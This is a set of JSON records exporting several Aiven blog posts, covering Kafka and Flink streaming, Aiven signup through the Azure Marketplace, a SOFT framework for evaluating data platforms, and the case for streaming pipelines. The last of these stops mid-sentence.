{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"2CKVoUxT8ZzGnLm7Sr23gu","_rev":"neae7oL4y1FotDvvR1WROe","_type":"post","_updatedAt":"2024-07-09T12:37:51Z","authors":[{"_key":"2Ryrx752TTp7pQatYrn0lw","_ref":"2Ryrx752TTp7pQatYrn0lw","_type":"reference"}],"body":"Let’s talk about streaming. Not the “over the counter” streaming services that deliver shows and movies to your laptop and TV, but the big services that move data between repositories. \n\nThere is whole a group of technologies for dealing with massive amounts of data for real time, low latency use cases. This mature ecosystem makes it easy to get started and expand your use case with a low risk investment. \n\nGet it working, and keep it working while failing fast.\n\nLet’s take a look at a growing industry trend and get some insight into whether building a streaming pipeline is right for your business.\n\n## Why are streaming insights important?\nWhat can your data do?\n\n- Real time monitoring/scaling\n- [Anomaly detection](https://aiven.io/docs/tutorials/anomaly-detection \"Anomaly detection\")\n- Shopping cart abandonment for ecommerce\n- Security and automation\n\nStreaming technologies are growing in popularity because they promise to increase business agility. Your business can [gain a competitive advantage](https://aiven.io/blog/why-you-should-think-about-moving-analytics-from-batch-to-real-time \"Move from batch to streaming\") from making decisions faster and enabling collaboration between business units. Streaming architectures allow your teams to iterate faster, enable more teams with more data, and create collaboration between departments.\n\nMany of these tools are open source, and are becoming more popular in the industry. Both are factors that get you access to a wide and widening talent pool to drive innovation. \n\nLater in this post, we will talk about the technologies; for now, remember that streaming data comes from a “source”, and eventually lands in a database, data lake, or data warehouse after some processing. Each streaming technology has its own ecosystem of integration libraries to support certain use cases. Some are better fits for big data and ETL/ELT, while others are better for machine learning and artificial intelligence.\n\nMany businesses are sitting on top of untapped mountains of data gold. With streaming technologies,businesses can start making use of the untapped  potential in their decision-making. It isn’t magic: given the right investment, it just means that you can put the right data in front of the right people faster. \n\n## When should you leverage streaming insights?\nStreaming insights can likely help transform your business if any of the following are true:\n\n- You have a wealth of data\n- You are using database technologies that support Change Data Capture\n- Increasing team collaboration results in increased business agility\n- Strict data governance policies adds friction to internal processes\n\nYour dataset is constantly changing and you don’t fully understand the what data you have access to, or it potential for adding business value\n\nA business or technology leader should always consider the ROI for any initiative and work to de-risk the investment. Here are some tips to use Pareto’s Principle (the 80/20 rule) to find the low hanging fruit and set your team up for success with fail-fast iterations and clear milestones.\n\nFirst confirm that you have the data, and what it is. Consult with your data team to get an idea of your data retention, data volume, and other potential data sources, i.e. what are you deleting or just not tracking? This gives you a good idea of what is available and how much historical data is stored.\n\nSecond, check your tech stack to see which databases your application is using. Services like MySQL, Postgres, Cassandra, Oracle, MongoDB, and SQL Server have out of the box integrations with tools like Apache Kafka and Kafka connect. You can leverage Change Data Capture (CDC) to “listen” to database changes and convert them to event streams. This way, legacy applications can become modern real-time streaming applications with hardly any development effort.\n\nConsider your use cases and take a look at common use cases for each framework. For example, you might be able to find case studies related to similar use cases running machine learning on Spark, or advanced stream processing on [Flink](https://aiven.io/flink \"Aiven for Apache Flink\"). We talk about this more in the next sections, but it will help inform which tools can be used once your data is in Kafka.\n\n## How can you implement and leverage streaming insights?\nMany technologies provide similar functionality, but they are not all the same. When it comes to scale, the contributor community, or the ecosystem of integrations with other enterprise grade technologies, they are all different. \n\nThrough trial by fire, the industry tends to pick a leading technology for particular use cases. This is true for language frameworks, databases, and even primary cloud providers. Kafka has been at the forefront of streaming data technology for nearly a decade. We will discuss how Kafka solves challenges in streaming applications and reduces the friction of innovation.\n\nApache Kafka originated in LinkedIn and has grown up to become the industry standard in high throughput and low latency applications. Open source contributors have built an ecosystem of tooling around it to simplify its operation and usage. It is largely based on a Pub-Sub model, facilitating asynchronous processing of events and decoupled scaling of producers and consumers. This is oversimplified, but the point is that Kafka is the foundation of a streaming architecture.It is the pipe that allows data to flow.\n\nApache Kafka Connect defines a common API (Abstract Programming Interface) for technologies to connect to Kafka as producers or consumers. This means you can integrate tools and technologies you are already using with Kafka with minimal effort. Many times, with functionality like CDC, the implementation actually requires zero engineering effort. Aiven has worked with customers to convert legacy systems to event driven architecture in a matter of days with the help of Kafka Connect and CDC.\n\nWhere Kafka Connect is a simple way to get your data into and out of Kafka, you likely want to do other complex processing like joining, windowing, transformations, or filtering. This can be accomplished with low level Kafka libraries or Kafka Streams clients, but that takes engineering effort. The low cost alternatives are configuration, and integration based frameworks. Confluent’s proprietary kSQL allows powerful stream processing of data in Kafka. However, other open source technologies provide more powerful processing plus a wider set of integration points.\n\nFlink is one technology that provides complex stream processing functionality through a SQL-Like syntax for filtering, joining, and transforming data in Kafka, as well in as other systems like Postgres, Elasticsearch, and OpenSearch. This can be extended to other data integrations like Hadoop and Cassandra. But the real power goes beyond the configuration based use cases. You get custom jobs, and a built-in job manager. Flink is everything from a data science experimentation lab, to a robust ETL tool suite, to a cutting edge machine learning platform for driving real business in the tool ecosystem that is right for your use case and business.\n\nAny time we Aiven’s Solution Architects talk to customers and prospects, we push them towards more mature cloud native deployments. It’s not always easy. Sometimes this includes difficult conversations. You NEED to have an answer for the following points, even if that answer is “Not right now; put it on the backlog.”\n\n- What are your growth projections and how does that scale for performance? How does that scale financially? Big data is expensive.\n- What are your performance and latency requirements? “High throughput,” “low latency,” and “low cost” … pick two, or get creative. Make sure you have well defined SLAs and budgets.\n- What is your plan for security? The easiest time to get security and best practices in place is before rolling it out. Retro-fitting an enterprise deployment of Kafka with a microservice architecture is not an easy or in-expensive task. Security should be a top priority. \n\n## What’s next?\nMake sure that you set your team up for success using the tips above to find the low hanging fruit and start iterating quickly. It is easy to set up integrations with your existing system and start exploring your data. The ecosystem of tools allows for quick time to value with minimal upfront investment, allowing you to set clear milestones and fail fast. \n\nThis is the first step down a path with many forks; Aiven has taken this journey countless times, watching companies leverage open source streaming technologies to drive growth.\n\n## Wrapping up\nYour next step could be to check out [Aiven for Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka\") and [Aiven for Apache Flink](https://aiven.io/flink \"Aiven for Apache Flink\").\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further Reading\n\n- [Introduction to event-based programming](https://aiven.io/blog/introduction-to-event-based-programming)","categories":[{"_key":"1wgqjrglPyMfEWcMYN3YcQ","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-67df540d3fb05ef587149f0551bdbef21ca528b6-1567x844-png","_type":"reference"}},"publishedAt":"2021-12-02T00:00:00.000Z","related":[{"_key":"d64cfb611391","_ref":"b06fbbce-a80e-4e66-b4b1-dc6f57f9023f","_type":"reference"},{"_key":"9e9ea8a26730","_ref":"6d2dc544-51e6-459e-8669-8d92544accb2","_type":"reference"}],"seo":{"metaDescription":"Your streaming data is a valuable asset. Find out why you should be hoarding and analyzing it, and how to start building that pipeline.","metaImage":{"alt":"","asset":{"_ref":"image-67df540d3fb05ef587149f0551bdbef21ca528b6-1567x844-png","_type":"reference"}},"metaTitle":"Easy real time streaming insights"},"slug":{"_type":"slug","current":"/blog/easy-real-time-streaming-insights"},"subtitle":"Your streaming data is a valuable asset. Find out why you should be hoarding and analyzing it, and how to start building that pipeline.","title":"Easy real time streaming insights"}
{"__i18n_lang":"en","_createdAt":"2022-11-02T07:00:02Z","_id":"7e6f8eca-cb6e-4ad4-ae5d-465ed5088c54","_rev":"ZgPiUE9lJ1tcRKuFnQedM5","_type":"post","_updatedAt":"2024-07-09T14:03:52Z","authors":[{"_key":"bf7ba4d3669c","_ref":"88df9be3-cf62-449e-85f6-dbfe05cb477f","_type":"reference"}],"body":"Through our close partnership with Microsoft®, we are now able to provide Aiven services natively through the Microsoft® Azure Marketplace and provide easy access to all Aiven services especially for customers who are already familiar with the Azure ecosystem and help them to leverage their long term commitment to Microsoft Azure for Aiven services on the Azure platform.\n\n## What does Aiven being on Azure Marketplace mean for me?\n\nBy signing up to Aiven via the marketplace, you will get the same level of access to the Aiven control plane and services such as [Aiven for Apache Kafka®](https://aiven.io/kafka) and [Aiven for PostgreSQL®](https://aiven.io/postgresql) as when signing up directly through Aiven. \n\nThe price is the same as when signing up directly via the Aiven website, and the payments are automatically managed through your Azure billing account. \nIf you are interested in a longer-term contract, For commitment discounts, contact Aiven sales directly for a private offer. If you have an existing Azure commitment, your Aiven service spend can count towards your commitment spend (for more information, contact your Microsoft contact person).\n\n## What is included in the price?\n\nSimilarly to all other Aiven customers, the basic level of support is automatically included in the price. Higher support tiers with better SLA and additional tooling and channels to contact Aiven support team are also available. For more information, see the [Aiven pricing page](https://aiven.io/pricing). \n\nThe subscription does not include any monthly fees - everything is “pay as you go” and charged hourly. You can track your service spend in the Azure console and the prices of the services are shown also in the Aiven Console when you are creating them, before starting any then. \n\nYou can power down services and power them back up when needed. Everything works automatically behind the scenes.\n\n## Getting started\n\nTo sign up, go to the [Aiven listing on the Azure marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/aivenltd1590663507662.aiven_managed_database_services?tab=Overview) and subscribe using your billing account and your Azure AD user account. You can then proceed to set up the subscription on the Aiven Console: sign up with your Azure AD user and confirm the subscription. You’ll be ready to start moving data in minutes!\n\nStep 1. On the [Aiven page on Azure Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/aivenltd1590663507662.aiven_managed_database_services?tab=Overview), click **Get it now**.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/2e91702e13857b3898d27261d33b06b08f2836e8-600x408.png)\n\nStep 2. Set up your subscription. You may have to sign in to Azure first. Select a plan, give your subscription a name, assign it to the resource group, assign tags, and anything else that is needed.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/6334f204765bec65c8d05d936671a3b365ce7b7e-1999x1143.png)\n\n\nStep 3. After reviewing the options, click **Subscribe**. The subscription process starts - it may take a few minutes to complete.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/ff5ad0ca917050625b75b73eb13d657947729602-600x246.png)\n\nStep 4. When the subscription is complete, you get a Thank you page. Click the **Configure account now** button to move over to Aiven for finalization.\n\nStep 5. Sign up to the Aiven Console with your Microsoft credentials. (If you already have an existing Aiven account, take care not to use those credentials to sign in. You need the separate account from Azure Marketplace  to continue.)\nIf you're subscribing via Azure Marketplace for the first time, you may need to verify your e-mail address. Check your e-mail and follow the instructions.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/f2dff19b5c66f5a1484bb4614fd422a488829e93-600x343.png)\n\nStep 6. Click **Verify subscription**.\n\nStep 7. And you're finished! Click **Log in to Aiven Console** to continue to the creation of projects and services.\n\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/360a4efc9c83c6ee3b2eaebe954038ac6bf5240d-600x360.png)\n\n**Tip**: You may want to rename your account - the identifier provided by Azure Marketplace isn't very user-friendly.\n\n\n\u003c!-- copypasta:\n\n®\n™\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\n[Back to top](/blog/slug-line/#toc)\n--\u003e\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n\n\n## Further reading\n\n- [PostgreSQL® Performance in AWS, GCP, Azure, DO and UpCloud](https://aiven.io/blog/postgresql-cloud-performance)","categories":[{"_key":"0156293a90a1","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-d87a689961ac59cebd1d8245b24c2fb04e6c9ec8-2500x1308-png","_type":"reference"}},"publishedAt":"2022-11-17T16:10:00.000Z","related":[{"_key":"bd342db52d1b","_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},{"_key":"da86a9f5702c","_ref":"7aU0u7ICLy7z1A25sdRUHk","_type":"reference"},{"_key":"98f455d497ce","_ref":"4p1IgkhLKJMD5e7PmJuzMX","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Get Aiven managed data infrastructure services now also from the Microsoft® Azure Marketplace with the click of a button.","metaTitle":"Aiven on Azure Marketplace now"},"slug":{"_type":"slug","current":"/blog/aiven-on-microsoft-azure-marketplace"},"subtitle":"We're proud to announce that you can now get Aiven services also directly from Azure Marketplace. Find out what it means—for you.","title":"Aiven services now available on Microsoft® Azure Marketplace"}
{"__i18n_lang":"en","_createdAt":"2022-12-07T08:42:25Z","_id":"b5983f68-dc8a-4425-8c63-563319eaa59d","_rev":"Y6NNh6Ue45iOdNdcwARRHa","_type":"post","_updatedAt":"2024-07-05T10:19:33Z","authors":[{"_key":"a0fe4bb294c3","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"In today's data-driven era, it's critical to design data platforms to help business to foster innovation and compete in the market. Selecting a robust, future-proof set of tools and architecture requires an act of balance between the purely technological concerns and the wider constraints of the project. These constraints include challenges regarding regulations, existing workforce skills, talent acquisition, agreed timelines, and your company’s established processes. \n\nA modern data platform is the set of technologies, configuration and implementation details that allows data to be stored and moved across the company systems to satisfy business needs. The SOFT methodology introduces an approach, based on four pillars, to define future-proof and effective data platforms that are scalable, observable, fast and trustworthy. Its aim is to enable data architects and decision makers to evaluate both current implementations and future architectures across a different set of criteria. \n\n* **Scalable:** the ability of a solution to handle variability in: load volumes, use-cases, development platforms and cost. \n* **Observable:** are there options around service monitoring and data assets discovery.\n* **Fast:** analyzing the time to deliver data, develop pipelines and recover from problems.\n* **Trustworthy:** the ability to provide secure, auditable and consistent results.\n\nThe rest of the blog examines each of the pillars in detail, providing the set of questions to be addressed during an evaluation for each pillar.\n\n## Scalable\n\nData volumes and use cases are growing every day at unprecedented pace, therefore we need to find technological solutions that support the current set of requirements and have the ability to **scale** across different directions.\n\n### Technological scaling\n\nDesign a solution with space for growth. Defining the current need and forecasting the future growth can help us understand if and when we'll hit the limits of a certain architecture. The modern cloud enables very deep **vertical scaling**, by creating bigger servers, but high availability and quick failovers are also important considerations. Technologies with support for **horizontal scaling**, splitting the load across nodes, usually offer a bigger variety of options for up/down sizing depending on needs, but these may incur [consistency tradeoffs](https://en.wikipedia.org/wiki/CAP_theorem). \n\nIn addition to raw scaling, we also need to consider the **automation options** and the **time to scale**. We should be able to up/down size a data platform both manually if a **peak in traffic is forecasted**, and automatically when certain monitoring **thresholds are exceeded**. The time to scale is also crucial: keeping it at a minimum enables both better elasticity and less waste of resources.\n\nWhen considering technology scaling, we need to have a broad evaluation of the tooling: not only primary instance, but also high availability, the possibility of read only replicas, and the robustness and speed of [backup and restore](https://aiven.io/blog/introducing-myhoard-your-single-solution-to-mysql-backups-and-restoration) processes.\n\n### Business cases scaling\n\nEvery business has a constantly growing collection of data, therefore a data platform solution needs to have both a low barrier of entry for new use cases, and enough capacity to support their solution.\n\nHaving great integrations available is crucial for the solution to support more use cases and new technologies. Proper, scalable **security management** and use-case isolation is needed to comply with regulation around data protection. We also need the ability to have separation of our data islands.\n\nFor even more data success, providing interfaces to explore already available datasets promotes data re-usage in different use cases and accelerates innovation.\n\n### Human scaling\n\nNo matter how much automation is in place, **data platforms need humans** to build, test, and monitor new pipelines. When selecting a data solution we need to evaluate the skills and experience of the current team, and the possible cost of growth based on geographies where the company is operating. \n\nSelecting well-adopted, open source data solutions is associated with bigger talent pools and more enthusiastic developers. Using managed solutions offering pre-defined integrations and extended functionality can help by taking some of the burden away from the team allowing humans to focus on building rather than maintaining.\n\n### Financial scaling\n\nThe last part of scalability is related to money. A technically perfectly valid data solution can't be adopted if it is not [financially sustainable](https://aiven.io/blog/optimizing-cloud-infrastructure-costs). Understanding the **dollar-to-scale** ratio is very important, as well as mapping future changes in the architecture that could raise costs significantly.\n\nWe need to calculate the derivative of the cost, aiming at solutions that can scale linearly (or hopefully less) with the amount of data. \n\nQuestions to ask:\n\n* What options are there to scale this technology, vertically and horizontally? \n* How easy is it to add new technologies?\n* How can we manage data security?\n* What is the current experience of the team? \n* How big is the talent pool?\n* How complex is the management vs the development?\n* How easy is it to add/extract new data, or integrate with other technologies?\n* What will scaling cost? Does it grow linearly with the data volume?\n\nThe risk of not evaluating the financial scalability, is to build a perfect system that works now, but can't cope with the future success of our business or use-case.\n\n## Observable\n\nThe old days of checking the batch status at 8AM are gone: modern data platforms and new streaming data pipelines are \"live systems\" where monitoring, understanding errors and applying fixes promptly is a requirement to provide successful outcomes. \n\n### Monitor\n\nChecking the data pipeline end status on a dashboard is not enough, we need to have methods to easily define:\n\n* metrics and log integration\n* aggregations and relevant KPIs (Key Performance Indicators)\n* alert thresholds\n* automatic notifications\n\nRelying on a human watching a screen is not a great use of resources and doesn't scale. Automating platform observability and selecting tools that enable accurate external monitoring allows companies to centralize management efforts.\n\n### Recreate the bird's eye view\n\nWith new pipelines and new technologies being added all the time, it's hard to keep an inventory of all your data assets and how they integrate between each other. A future-proof data solution needs to provide an [automatic harvesting, consolidation and exposure of data assets and their inter-linkage](https://aiven.io/blog/metadata-parser). \n\nBeing able to trace where a certain data point came from is critical. We should be able to establish what transformations were performed, where the data exists, and who or what can interact with it at any point in the pipeline. This information is going to help us to comply with security and privacy requirements, especially data lineage, security, impact assessments and GDPR queries.\n\nObtaining a queryable global map of the data assets provides additional benefits regarding data-reusability: by exposing the assets already present in a company, we can avoid repeated data efforts, and promote data re-usage across departments for faster innovation.\n\n### History replay and data versioning\n\nWith continuously evolving systems, having the ability to replay parts of the history provides ways to create baselines and compare results. These can help detecting regression or errors in new developments and evaluate impact of changes in the architecture.\n\nEasily spinning off new \"prod-like\" development environments enables faster dev iteration, safer hypothesis validation, and more accurate testing.\n\nHaving a \"data versioning\" capability, allows to compare the results of data manipulation across development stages; adding the \"metrics versioning\" containing execution statistics enables a better (and possibly automatic) handling of performance regressions.\n\nQuestions to ask:\n\n* What's happening now in my data platform?\n* Is everything working ok? Are there any delays?\n* What data assets do I have across my company?\n* How is my data transformed across the company?\n* Can I replay part of the pipelines in the event of processing errors?\n* How is a change performing against a baseline?\n\n## Fast\n\nFrom micro-batching to streaming, the time to data delivery is trending towards real-time. The old times of reporting on yesterday's data are gone, we need to be able to report in near real time on what's currently happening in our business, based on fresh data.\n\n### Time to develop\n\nDelivering data in near-real time is useless if developing and testing pipelines takes weeks of work. The toolchain should be self-service and user-friendly. To achieve this, it is crucial to identify the target developers and their skills, and to select a set of technologies that will allow this group to work quickly, effectively, and happily. Once the use case is defined, it is also worth checking for existing solutions that can help by removing part of the problem's complexity.\n\nInvesting time on automation diminishes the friction and delay in the deployment of the data pipelines. People shouldn't lose time in clicking around to move a prototype to production. Automated checks and promotion pipelines should take care of this part of the artifact journey.\n\n### Time to deliver\n\nSelecting a data architecture that enables data streaming is key to building future-proof pipelines. Having the ability to transition from batch to streaming also allows to improve existing pipelines in an iterative fashion, rather than requiring a big bang approach.\n\nAn integral part of the **Time To Deliver(y)** is also the **Time To Execute**: the performance of your chosen platform needs to be evaluated against target latency figures.\n\n### Time to recover\n\nFinally, it's crucially important to define acceptable **Time To Recover** thresholds when data pipelines run into problems. To achieve this, take the time to understand, test and verify what the selected toolchain has to offer in this space. Especially when dealing with stateful transformations, it is crucial to navigate the options regarding checkpoints, exactly-once delivery, and replay of events. The events replay in particular can be handy to verify new developments, run A/B tests, and quickly recover from problematic situations.\n\nQuestions to ask:\n\n* How much delay is there between the source event and the related insight?\n* How good is the technology performance for the task?\n* How fast can we create new pipelines?\n* How fast can we promote a change to production?\n* How fast can I recover from a crash?\n\n\n## Trustworthy\n\nData is the most valuable asset for companies, and building trusted data platforms is key to ensure quality input is available to all stakeholders.\n\n### Security\n\nThe first aspect of trust is related to security. As briefly mentioned in the [Observable](#observable) section, the toolchain should allow us to define and continuously monitor [which actors can access a certain data point and what privileges they have](https://aiven.io/blog/metadata-parser). Moreover, platforms should provide enough logging and monitoring capabilities to detect and report, in real time, any inappropriate access to data. Providing a way to evaluate implications of security changes (impact assessment) would guarantee an extra level of checking before making a change.\n\nRegulations define what is the correct usage of data, and which attributes need to be masked or removed. To build future-proof data platforms we need the ability to apply different obfuscation processes depending on the roles/privileges of the data receiver. \n\nIn the article we covered a lot about automation. For security, whilst a lot of checks can be performed with code, we might still want to retain manual gates that need a human evaluation and approval allowing companies to comply with the needed security regulations.\n\n### Vendor's ecosystem evaluation\n\nTo build trustworthy future-proof data platforms, we need trust in the vendors or projects providing the tools, and their ability to continue to evolve with new features during the lifetime of the tool.\n\nTherefore a wide assessment of the company or open source project is required: consider the tool's adoption, any existing community and related growing patterns, and available support methods. Taken together, these topics can help understanding if a current tech solution will still be a good choice in future years.\n\n### Data locality and cloud options\n\nCompanies might need to define where in the world the data is stored and manipulated. Being forced to use consistent locations across the entire data pipeline might reduce the list of technologies or vendors available. The choice can further be refined by internal policies regarding the adoption of cloud, managed services or multi-cloud strategies.\n\n### Data correctness\n\nFrom a pure data point of view, \"trustable\" means that the **generated results can be trusted**. \nThe results needs to be fresh, correct, repeatable and consistent: \n* **Fresh**: the results are a representation of the most recent and accurate data. \n* **Correct**: the KPIs and transformations should follow the definitions. A data transformation/KPI should be defined once across the company, providing a **unique source of truth**.\n* **Repeatable**: the workflow could be run again with the same input and provide the same output.\n* **Consistent**: performance is resilient to errors and consistent across time, giving stakeholders the confidence to receive the data in a timely manner.\n\nQuestions to ask:\n\n* How can I secure my data? Can I mask it, and apply filters to rows/columns?\n* Do I trust the vendor or project providing the tool?\n* Can I use the tool in a specific datacenter/region?\n* Can I precisely locate my data at any stage of my flow? Both from a technical and also geographical point of view?\n* Can I trust the data? Is it correct, are results repeatable, on time, and consistent?\n* How many times do we have a particular KPI defined across the company?\n\n## Deploy SOFT in your own organization\n\nWhether you are looking to define your next data platform, or evaluating the existing ones, the SOFT framework provides a comprehensive set of guidelines to help you assess your options. By using the list of questions as a baseline for the evaluation, you can properly compare different solutions and make a better informed decision about the perfect fit for your data needs.\n\nTake the SOFT framework into usage, and let us know your opinion!\n\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n::banner[Learn how to create a highly available Apache Kafka service, go over the common tasks of producing and consuming messages, and finally use the popular Apache Avro™ specification to communicate with your Kafka service.]{ctaText=\"Check the tutorial\" ctaLink=\"https://aiven.io/developer/how-to-send-and-receive-application-data-from-apache-kafka\" title=\"How to send and receive application data from Apache Kafka®\" theme=\"dark\"}\n","categories":[{"_key":"4d4f86db48de","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","asset":{"_ref":"image-d74f423b1608763b20d935e0eda7b60d29e65ed8-1567x844-png","_type":"reference"}},"publishedAt":"2022-12-08T13:52:17.636Z","related":[{"_key":"04524b3fa693","_ref":"9a3a45e9-76c1-438a-9222-19f024dd7917","_type":"reference"},{"_key":"efb6c63a7439","_ref":"2buJjGffFsGlM8WYzORUIs","_type":"reference"},{"_key":"de9ab4ceb472","_ref":"66ccc151-4379-4389-8c5c-92ae18d73d3a","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/a-soft-methodology-to-define-robust-data-platforms"},"subtitle":"Making robust and future-proof decisions about your data setup can be complex. The SOFT methodology is here to guide you to the right choices for your needs.","title":"A SOFT methodology to define robust data platforms"}
{"__i18n_lang":"en","_createdAt":"2022-07-13T11:00:52Z","_id":"712jEl6hQjyeJRLoAWmSRW","_rev":"YWHkZRhDz94HWGkESqBwQE","_type":"post","_updatedAt":"2024-09-23T13:49:46Z","authors":[{"_key":"1MZuO0zrxEM76NrInmgwfj","_ref":"1MZuO0zrxEM76NrInmgwfj","_type":"reference"}],"body":"## Why streaming data is essential for the modern data stack\n\nAs a product-led company Aiven is heavily invested in building a pioneering analytics function. Therefore we are always looking for the best ways to capture and harvest data. \n\nI’m [Anton Heikinheimo](mailto:anton.heikinheimo@aiven.io) and I work as a Data Engineer at Aiven, building reliable, scalable and maintainable data pipelines. Aiven as a company has been growing exponentially, more than doubling its headcount every year since our foundation in 2016. However, the data engineering function has not needed to grow since its inauguration in 2020, in fact we have been able to empower Aivens internal analytics with just two data engineers. Championing open source and always prefering managed solutions has been essential for our success. Open source has allowed us to build reliable software and control our costs as we’ve grown, while managed solutions have allowed us to focus on building business logic, not managing infrastructure.\n\nThe discussion between batch and streaming has been ongoing for ages, and the consensus has always been that streaming is the way forward. However, lately a lot of the trends in the data space have even further advanced this comparison in favor of streaming. In this blog post we’re going to talk about what these trends are and why streaming is relevant to enable them.\n\n### Why are data teams moving towards streaming?\n\nThe data teams that have had the privilege of re-thinking their data stack in recent years have typically opted for a stack that is built around streaming, and stream processing.  This comes as no surprise when you consider the benefits of setting up streaming pipelines compared to batch. Batch ingestion jobs come with a lower upfront cost as they are easier to set up, but anyone who has stayed around long enough will understand the complications introduced by batch ingestion, for example late arriving dimensions (data being out of sync) and having to make sacrifices in downstream applications due to data delay. Setting up a streaming ingestion pipeline requires more upfront investment, but the main benefits can be grouped into:\n\n* **Data timeliness**, applications built on top of the data warehouse don’t need to wait  hours for the data to arrive.\n* **Data quality and completeness**, with the help of CDC (Change Data Capture) and stream processing data teams are able to control the completeness and quality of the data before it gets ingested.\n* **Cost savings**, by aggregating and joining data before ingestion teams are typically able to save costs in storage and processing.\n* **Less operational overhead**, data stacks built around stream processing do not need to worry about data being out of sync.\n\n### Data timeliness\nAside from traditional dashboarding \u0026 reporting, data teams are now also working with operational use-cases that directly affect the flow of business. A new trend in the data space is Reverse ETL, where data is sent from operational systems to the data warehouse, enriched in the data warehouse and then sent back to operational systems. An example of reverse ETL is marketing messaging where customer facing messaging is personalized based on calculated values such as CLTV (Customer lifetime value), customer segmentation and customer health score.\n\nThese new operational use-cases in the data warehouse have greatly increased the importance of data timeliness. Internally at Aiven we have made it as one of our KPIs to reduce the time from when data is generated in the backend to it arriving in its respective operational system. With Apache Kafka® you are able to transmit data as soon as it is generated, and with the help of a stream processing framework such as Apache Flink® you can enrich the data on the fly.\n\n### Data quality and completeness\nThe modern data stack is built around the process of ELT (Extract Load Transform), the main difference to the traditional [ETL (Extract Transform Load)](https://aiven.io/glossary/what-is-etl) is that raw data is not transformed before being loaded to the data warehouse. One of the unintended consequences of ELT is that poor data quality enters the staging area often resulting in technical debt as data teams try to fix poor quality with complex transformations. Moreover, ELT also makes it more difficult to get accurate historical data since the data models are mutable, meaning that the data gets erased and rewritten each run. With mutable models and poor data quality getting an accurate historical view gets exponentially more difficult with each introduction of new features in the staging data. \n\nStream processing can be used to combat these issues, by combining the best of ETL and ELT, doing something called ETLT (Extract Transform Load Transform). In ETLT some preliminary transformations are done during data ingestions, these transformations can be performed with streaming data processing tools like Apache Flink. The rationale behind doing transformations during data ingestion is that some data checks can be performed on the fly, to guarantee data quality in the staging area. Examples of these checks include checking for nulls, performing joins and enforcing a schema. At Aiven for example we are joining two event sources: API requests with API request responses. This serves two purposes:\n\n1. Validating that each response has a request\n2. Pre-joining the data on the fly and avoiding an expensive (and slow) join in the data warehouse\n\nAnother problem lies in data completeness: batch processing uses polling intervals to query the tables on a predefined interval, for example hourly or daily. If changes in the underlying data happen more frequently than the polling interval, and if the tables do not explicitly track the state, then you risk missing valuable information. Furthermore you risk breaking the integrity of the data, for example an immutable `customer_action_log` will contain an action of “email updated”, but the batch process did not capture the updated value in the customer table for email since the customer changed the value back immediately. This is why log based database replication, for example using the Debezium CDC (Change Data Capture) connector, is far superior as the replication is based on the database's native logging source.\n\nLastly, stream processing opens up the possibility of GDPR compliant data pipelines where PII data is anonymized in transit and by doing so you don’t risk PII data laying around in storage containers, logs or unused tables.\n\n### Cost savings\nSignificant data savings can be achieved with stream processing by aggregating and enriching data in transit. \nPre-aggregating data is commonly done when ingesting metrics or other IoT data. Metrics data can often have granularity of seconds, such large amounts of data can skyrocket the costs of storage and compute (imagine a scenario where you have 200 thousand nodes that are all transmitting data every few seconds). At Aiven we are using Apache Flink sliding windows to define the grain of the data at ingestion time, and capture exactly the granularity which best serves the business. While grouping the data into buckets with Flink windows you need to define the aggregate functions, for us this is typically the min, max, avg and a distribution metric.\n\nAnother trend in the data space has been the [Activity Schema](https://www.activityschema.com/), where events and data from different sources are normalized and parsed to a single table. Flink is an excellent tool for this purpose, as it has good support for working with nested JSON structures in SQL. \n\n### Less operational 